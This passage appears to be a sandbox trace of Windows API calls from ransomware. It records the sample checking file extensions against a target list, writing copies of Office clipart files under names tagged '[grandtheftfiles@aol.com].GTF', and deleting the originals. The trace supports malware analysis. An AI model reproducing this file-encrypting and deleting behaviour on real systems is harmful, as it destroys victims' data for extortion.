	[0091.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0091.216] lstrlenW (lpString=".jpg") returned 4
	[0091.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.216] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.216] lstrlenW (lpString="J0099164.WMF") returned 12
	[0091.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.217] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=21946) returned 1
	[0091.217] CloseHandle (hObject=0x31c) returned 1
	[0091.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220
	[0091.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.217] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.217] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0091.217] GetLastError () returned 0x0
	[0091.217] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x55ba, lpOverlapped=0x0) returned 1
	[0091.474] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x55c0, lpOverlapped=0x0) returned 1
	[0091.475] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.475] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.475] SetEndOfFile (hFile=0x340) returned 1
	[0091.475] CloseHandle (hObject=0x340) returned 1
	[0091.475] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.475] SetEndOfFile (hFile=0x31c) returned 1
	[0091.476] CloseHandle (hObject=0x31c) returned 1
	[0091.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1
	[0091.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0091.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0091.477] lstrlenW (lpString=".doc") returned 4
	[0091.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.477] lstrlenW (lpString=".docx") returned 5
	[0091.477] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0091.477] lstrlenW (lpString=".pdf") returned 4
	[0091.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.477] lstrlenW (lpString=".xls") returned 4
	[0091.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.477] lstrlenW (lpString=".xlsx") returned 5
	[0091.477] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0091.477] lstrlenW (lpString=".ppt") returned 4
	[0091.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0091.477] lstrlenW (lpString=".zip") returned 4
	[0091.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.477] lstrlenW (lpString=".rar") returned 4
	[0091.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.477] lstrlenW (lpString=".bz2") returned 4
	[0091.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.478] lstrlenW (lpString=".7z") returned 3
	[0091.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0091.478] lstrlenW (lpString=".dbf") returned 4
	[0091.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0091.478] lstrlenW (lpString=".1cd") returned 4
	[0091.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0091.478] lstrlenW (lpString=".jpg") returned 4
	[0091.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0091.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0091.478] lstrlenW (lpString=".doc") returned 4
	[0091.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.478] lstrlenW (lpString=".docx") returned 5
	[0091.478] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0091.478] lstrlenW (lpString=".pdf") returned 4
	[0091.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.478] lstrlenW (lpString=".xls") returned 4
	[0091.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.478] lstrlenW (lpString=".xlsx") returned 5
	[0091.478] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0091.478] lstrlenW (lpString=".ppt") returned 4
	[0091.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0091.478] lstrlenW (lpString=".zip") returned 4
	[0091.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.478] lstrlenW (lpString=".rar") returned 4
	[0091.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.478] lstrlenW (lpString=".bz2") returned 4
	[0091.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.478] lstrlenW (lpString=".7z") returned 3
	[0091.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0091.479] lstrlenW (lpString=".dbf") returned 4
	[0091.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0091.479] lstrlenW (lpString=".1cd") returned 4
	[0091.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68
	[0091.479] lstrlenW (lpString=".jpg") returned 4
	[0091.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.479] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.479] lstrlenW (lpString="J0099183.WMF") returned 12
	[0091.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.479] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=4946) returned 1
	[0091.480] CloseHandle (hObject=0x31c) returned 1
	[0091.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220
	[0091.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.480] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.480] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0091.481] GetLastError () returned 0x0
	[0091.481] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x1352, lpOverlapped=0x0) returned 1
	[0091.483] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1360, lpOverlapped=0x0) returned 1
	[0091.484] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.484] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.484] SetEndOfFile (hFile=0x340) returned 1
	[0091.484] CloseHandle (hObject=0x340) returned 1
	[0091.484] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.484] SetEndOfFile (hFile=0x31c) returned 1
	[0091.485] CloseHandle (hObject=0x31c) returned 1
	[0091.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1
	[0091.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0091.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0091.486] lstrlenW (lpString=".doc") returned 4
	[0091.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.486] lstrlenW (lpString=".docx") returned 5
	[0091.486] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0091.486] lstrlenW (lpString=".pdf") returned 4
	[0091.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.486] lstrlenW (lpString=".xls") returned 4
	[0091.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.486] lstrlenW (lpString=".xlsx") returned 5
	[0091.486] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0091.486] lstrlenW (lpString=".ppt") returned 4
	[0091.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0091.486] lstrlenW (lpString=".zip") returned 4
	[0091.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.486] lstrlenW (lpString=".rar") returned 4
	[0091.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.486] lstrlenW (lpString=".bz2") returned 4
	[0091.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.486] lstrlenW (lpString=".7z") returned 3
	[0091.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0091.486] lstrlenW (lpString=".dbf") returned 4
	[0091.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0091.486] lstrlenW (lpString=".1cd") returned 4
	[0091.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0091.486] lstrlenW (lpString=".jpg") returned 4
	[0091.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0091.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0091.486] lstrlenW (lpString=".doc") returned 4
	[0091.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.486] lstrlenW (lpString=".docx") returned 5
	[0091.487] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0091.487] lstrlenW (lpString=".pdf") returned 4
	[0091.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.487] lstrlenW (lpString=".xls") returned 4
	[0091.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.487] lstrlenW (lpString=".xlsx") returned 5
	[0091.487] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0091.487] lstrlenW (lpString=".ppt") returned 4
	[0091.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0091.487] lstrlenW (lpString=".zip") returned 4
	[0091.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.487] lstrlenW (lpString=".rar") returned 4
	[0091.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.487] lstrlenW (lpString=".bz2") returned 4
	[0091.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.487] lstrlenW (lpString=".7z") returned 3
	[0091.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0091.487] lstrlenW (lpString=".dbf") returned 4
	[0091.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0091.487] lstrlenW (lpString=".1cd") returned 4
	[0091.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0091.487] lstrlenW (lpString=".jpg") returned 4
	[0091.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.487] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.487] lstrlenW (lpString="J0099184.WMF") returned 12
	[0091.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.488] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=4118) returned 1
	[0091.488] CloseHandle (hObject=0x31c) returned 1
	[0091.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220
	[0091.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.488] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.488] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0091.489] GetLastError () returned 0x0
	[0091.489] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x1016, lpOverlapped=0x0) returned 1
	[0091.490] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0091.491] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.491] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.492] SetEndOfFile (hFile=0x340) returned 1
	[0091.492] CloseHandle (hObject=0x340) returned 1
	[0091.492] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.492] SetEndOfFile (hFile=0x31c) returned 1
	[0091.493] CloseHandle (hObject=0x31c) returned 1
	[0091.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1
	[0091.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0091.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0091.493] lstrlenW (lpString=".doc") returned 4
	[0091.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.493] lstrlenW (lpString=".docx") returned 5
	[0091.493] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0091.493] lstrlenW (lpString=".pdf") returned 4
	[0091.493] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.493] lstrlenW (lpString=".xls") returned 4
	[0091.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.493] lstrlenW (lpString=".xlsx") returned 5
	[0091.493] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0091.493] lstrlenW (lpString=".ppt") returned 4
	[0091.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0091.493] lstrlenW (lpString=".zip") returned 4
	[0091.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.494] lstrlenW (lpString=".rar") returned 4
	[0091.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.494] lstrlenW (lpString=".bz2") returned 4
	[0091.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.494] lstrlenW (lpString=".7z") returned 3
	[0091.494] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0091.494] lstrlenW (lpString=".dbf") returned 4
	[0091.494] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0091.494] lstrlenW (lpString=".1cd") returned 4
	[0091.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0091.494] lstrlenW (lpString=".jpg") returned 4
	[0091.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0091.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0091.494] lstrlenW (lpString=".doc") returned 4
	[0091.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.494] lstrlenW (lpString=".docx") returned 5
	[0091.494] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0091.494] lstrlenW (lpString=".pdf") returned 4
	[0091.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.494] lstrlenW (lpString=".xls") returned 4
	[0091.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.494] lstrlenW (lpString=".xlsx") returned 5
	[0091.494] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0091.494] lstrlenW (lpString=".ppt") returned 4
	[0091.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0091.494] lstrlenW (lpString=".zip") returned 4
	[0091.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.494] lstrlenW (lpString=".rar") returned 4
	[0091.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.494] lstrlenW (lpString=".bz2") returned 4
	[0091.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.495] lstrlenW (lpString=".7z") returned 3
	[0091.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0091.495] lstrlenW (lpString=".dbf") returned 4
	[0091.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
